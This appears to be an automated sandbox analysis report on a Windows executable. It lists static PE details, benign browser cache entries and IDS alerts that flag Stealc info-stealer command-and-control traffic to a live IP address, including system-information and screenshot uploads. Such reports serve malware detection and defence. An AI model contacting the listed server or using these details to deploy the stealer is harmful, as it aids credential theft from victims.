Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.366975189633804
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2BI8rJKpBa.exe
File size:	296'448 bytes
MD5:	ea2c30769d298e35ba11cd5c5ed2b04f
SHA1:	e47bc5c3db4cfbc68dfbe6c48a88c87c29b38a13
SHA256:	ae5b9a35f35d710b849c3bfb37e848a129855768bd9929b7a85702de3e76e0c8
SHA512:	5e8dd5244fd0c420c79aaf5c9aa7f112189696ae4f7caaa8082acff3e401df3d1d9f84ce4c8ef0c0a768fac4c2495afb192d72e40e2737b8144cb21adebaedb8
SSDEEP:	6144:UBM4zzQdbt97XKCVqSYkRYfeIUd+NHHDWn9mWhi:4M44dN3YWTITHDqBi
TLSH:	7954F1333690D072C48655385610C7B5AF7EBC336A65815737680BBEAF306C2EB3A35A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.;a9.U29.U29.U2'..2#.U2'..2..U2'..2..U2...2:.U29.T2E.U2'..28.U2'..28.U2'..28.U2Rich9.U2................PE..L......d...........

File Icon


Icon Hash:	63796de961436e0f

Static PE Info

General

Entrypoint:	0x4049a3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64ECB51B [Mon Aug 28 14:54:19 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6c2a4d9e92f7bd76f57f059c1bbce328

Entrypoint Preview

Instruction
call 00007FC5C5068F8Eh
jmp 00007FC5C5063ABDh
mov edi, edi
push ebp
mov ebp, esp
push esi
lea eax, dword ptr [ebp+08h]
push eax
mov esi, ecx
call 00007FC5C5062DD3h
mov dword ptr [esi], 00401290h
mov eax, esi
pop esi
pop ebp
retn 0004h
mov dword ptr [ecx], 00401290h
jmp 00007FC5C5062E88h
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov dword ptr [esi], 00401290h
call 00007FC5C5062E75h
test byte ptr [ebp+08h], 00000001h
je 00007FC5C5063C49h
push esi
call 00007FC5C5063427h
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword ptr [ebp+08h]
mov eax, dword ptr [edi+04h]
test eax, eax
je 00007FC5C5063C89h
lea edx, dword ptr [eax+08h]
cmp byte ptr [edx], 00000000h
je 00007FC5C5063C81h
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [esi+04h]
cmp eax, ecx
je 00007FC5C5063C56h
add ecx, 08h
push ecx
push edx
call 00007FC5C5067B3Bh
pop ecx
pop ecx
test eax, eax
je 00007FC5C5063C46h
xor eax, eax
jmp 00007FC5C5063C66h
test byte ptr [esi], 00000002h
je 00007FC5C5063C47h
test byte ptr [edi], 00000008h
je 00007FC5C5063C34h
mov eax, dword ptr [ebp+10h]
mov eax, dword ptr [eax]
test al, 01h
je 00007FC5C5063C47h
test byte ptr [edi], 00000001h
je 00007FC5C5063C26h
test al, 02h
je 00007FC5C5063C47h
test byte ptr [edi], 00000002h
je 00007FC5C5063C1Dh
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax]
cmp eax, 00004F4Dh

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ed38	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4b000	0x39d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2e68	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x190	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e652	0x3e800	c8c9b741b83bc3bf8f9054fb5bbbd352	False	0.86771875	data	7.7840396294466805	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x40000	0xabe8	0x6000	31e3f36e07977e18fb5af2eea5ecff59	False	0.08170572916666667	data	0.9761949713552805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4b000	0x2049d8	0x3a00	c9f6429719206e666771c41f190b60a4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4b1e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5397465437788018
RT_ICON	0x4b1e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5397465437788018
RT_ICON	0x4b8a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.41151452282157674
RT_ICON	0x4b8a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.41151452282157674
RT_ICON	0x4de50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44592198581560283
RT_ICON	0x4de50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44592198581560283
RT_STRING	0x4e540	0x496	data	Tamil	India	0.444633730834753
RT_STRING	0x4e540	0x496	data	Tamil	Sri Lanka	0.444633730834753
RT_ACCELERATOR	0x4e2e8	0x50	data	Tamil	India	0.825
RT_ACCELERATOR	0x4e2e8	0x50	data	Tamil	Sri Lanka	0.825
RT_GROUP_ICON	0x4e2b8	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0x4e2b8	0x30	data	Tamil	Sri Lanka	0.9375
RT_VERSION	0x4e338	0x204	data			0.5368217054263565

Imports

DLL

Import

KERNEL32.dll

EnumCalendarInfoA, WriteConsoleInputW, SetComputerNameExA, GetConsoleAliasExesLengthA, InterlockedDecrement, GetCurrentProcess, GetLogicalDriveStringsW, InterlockedCompareExchange, GetComputerNameW, GetModuleHandleW, GetCommConfig, EnumCalendarInfoExW, EnumTimeFormatsA, LoadLibraryW, CopyFileW, FindNextVolumeW, CreateSemaphoreA, VerifyVersionInfoA, FindNextVolumeMountPointW, GetShortPathNameA, LCMapStringA, GetLastError, GetCurrentDirectoryW, SetLastError, GetProcAddress, VirtualAlloc, GetTempFileNameA, GetAtomNameA, LoadLibraryA, InterlockedExchangeAdd, GlobalUnWire, FreeEnvironmentStringsW, EnumDateFormatsW, OpenEventW, SetCalendarInfoA, GetVersionExA, ReadConsoleInputW, TerminateJobObject, GetCurrentProcessId, SetFileAttributesW, GetCommandLineA, GetStartupInfoA, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, HeapFree, MultiByteToWideChar, ReadFile, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, GetFileType, DeleteCriticalSection, SetFilePointer, CloseHandle, Sleep, ExitProcess, WriteFile, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, RtlUnwind, RaiseException, HeapReAlloc, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, SetStdHandle, InitializeCriticalSectionAndSpinCount, GetConsoleCP, GetConsoleMode, FlushFileBuffers, GetModuleHandleA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, HeapSize, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T22:52:01.421965+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:01.835200+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:01.956288+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.219.81.132	80	192.168.2.6	49707	TCP
2024-12-20T22:52:02.229872+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:02.352102+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.219.81.132	80	192.168.2.6	49707	TCP
2024-12-20T22:52:03.541586+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:04.183104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49707	185.219.81.132	80	TCP
2024-12-20T22:52:31.073323+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:32.930733+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:34.267801+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:35.589649+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:39.066126+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:39.942769+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49786	185.219.81.132	80	TCP
2024-12-20T22:52:43.440690+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.6	49786	185.219.81.132	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 22:51:52.363773108 CET	443	49706	20.198.119.84	192.168.2.6
Dec 20, 2024 22:51:52.405899048 CET	49706	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:51:52.598284006 CET	443	49706	20.198.119.84	192.168.2.6
Dec 20, 2024 22:51:52.640294075 CET	49706	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:51:52.794064999 CET	443	49706	20.198.119.84	192.168.2.6
Dec 20, 2024 22:51:52.794795990 CET	49706	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:51:52.914474010 CET	443	49706	20.198.119.84	192.168.2.6
Dec 20, 2024 22:51:53.339468956 CET	443	49706	20.198.119.84	192.168.2.6
Dec 20, 2024 22:51:53.390324116 CET	49706	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:51:55.062215090 CET	49674	443	192.168.2.6	173.222.162.64
Dec 20, 2024 22:51:55.062277079 CET	49673	443	192.168.2.6	173.222.162.64
Dec 20, 2024 22:51:55.390386105 CET	49672	443	192.168.2.6	173.222.162.64
Dec 20, 2024 22:51:59.501812935 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:51:59.621450901 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:51:59.621543884 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:51:59.627706051 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:51:59.747242928 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:00.859121084 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:00.859203100 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:00.863002062 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:00.982703924 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.421870947 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.421964884 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:01.423309088 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:01.548472881 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.835120916 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.835165977 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.835200071 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:01.835243940 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:01.836725950 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:01.956288099 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:01.998182058 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:01.998239040 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:01.998295069 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:01.998894930 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:01.998912096 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:02.229803085 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.229825020 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.229841948 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.229871988 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.229924917 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.230146885 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.230164051 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.230184078 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.230195999 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.230210066 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.230231047 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.232371092 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.352102041 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.645159960 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.645243883 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.757117987 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.757189989 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:02.876805067 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.876822948 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.876837015 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.877516985 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.877540112 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.877553940 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:02.877566099 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:03.541477919 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:03.541585922 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:03.792835951 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:03.912317991 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.183005095 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.183099031 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.183104038 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.183151960 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.187232018 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.187289953 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.187407017 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.187473059 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.195604086 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.195669889 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.195719957 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.195770979 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.204003096 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.204058886 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.204202890 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.204257965 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.212404966 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.212460041 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.212523937 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.212575912 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.220779896 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.220833063 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.220835924 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.220881939 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.231451988 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.231529951 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.236733913 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.236741066 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.237154007 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.238869905 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.238925934 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.238931894 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.239077091 CET	49708	443	192.168.2.6	20.198.119.84
Dec 20, 2024 22:52:04.261215925 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.261298895 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.261411905 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.261464119 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.265378952 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.265445948 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.265506983 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.265559912 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.273758888 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.273814917 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.273912907 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.273967028 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.282124043 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.282171965 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.282221079 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.282270908 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.283329010 CET	443	49708	20.198.119.84	192.168.2.6
Dec 20, 2024 22:52:04.290503025 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.290554047 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.375073910 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.375133991 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.375165939 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.375190973 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.379223108 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.379317045 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.379422903 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.379476070 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.387603998 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.387658119 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.387677908 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.387720108 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.395911932 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.395975113 CET	49707	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:04.396015882 CET	80	49707	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:04.396055937 CET	49707	80	192.168.2.6	185.219.81.132
